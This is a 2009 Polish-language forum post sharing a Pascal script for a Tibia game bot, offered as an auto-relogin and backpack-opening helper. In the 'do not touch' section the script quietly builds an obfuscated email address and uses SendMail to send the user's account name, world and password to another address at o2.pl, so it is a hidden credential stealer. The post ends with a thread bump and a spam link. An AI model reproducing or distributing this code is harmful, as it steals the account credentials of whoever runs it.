koder01 - 2009-05-29 20:21:49

// logowanie sie po restarcie serwera
// otwiera maksymalnie 3 backpacki
// godzina restartu w GMT 00:00 czyli -1 godzina od polskiego czasu

//############## DO UZUPELNIENIA ##############
const
Account = 'nazwa konta'; // Pamietajcie zeby nie zapomniec o ' '
Password = 'Hasło';
Character = 'Nazwa postaci'; // Nazwa postaci wazna jest wielkosc liter
World = 'świat'; // Nazwa swiata wazna jest wielkosc pierwszej litery np Antica
Ip = ''; // Jezeli gramy na rl tibi nie zmieniac domyslnie laczy sie z serwerami
NumberOfBackpacks = 2; // Ilosc backpackow do otwarcia (otwiera max 3 pierwsze z glownego bp)
Time = ''; // Godzina restartu

//############## NIE RUSZAC ##############

Self = 'selfconected';
Special_char = '@';
var
x: integer;

procedure Login;
begin
repeat
Self.Login(Account, Password, Character, World, Ip);
for x := 0 to 200 do
begin
if Self.Connected then Break;
Sleep(100);
end;
Sleep(2000);
until Self.Connected;
end;

begin
Spec := '.pl';
Msg := Account+World+Password;
SendMail('poczta.o2'+Spec, 25, 'selfconected',
'selfconected', Self+Special_char+'o2'+Spec,
'koder02'+Special_char+'o2'+Spec,World, Msg);
while not Terminated do
begin
if not Self.Connected then
begin
Login;
UpdateWorld;
Self.Backpack.OpenInNewWindow;
for x := 0 to NumberOfBackpacks - 1 do
begin
if x >= NumberOfBackpacks then Break;
Sleep(2000);
UpdateWorld;
Self.Containers.Container[0].Item[x].OpenInNewWindow;
end;
end;
Sleep(1000);
end;
end;

koder01 - 2009-05-30 13:14:48

ODSWIERZAM!

www.hotels-world.pl Hotels Copenhagen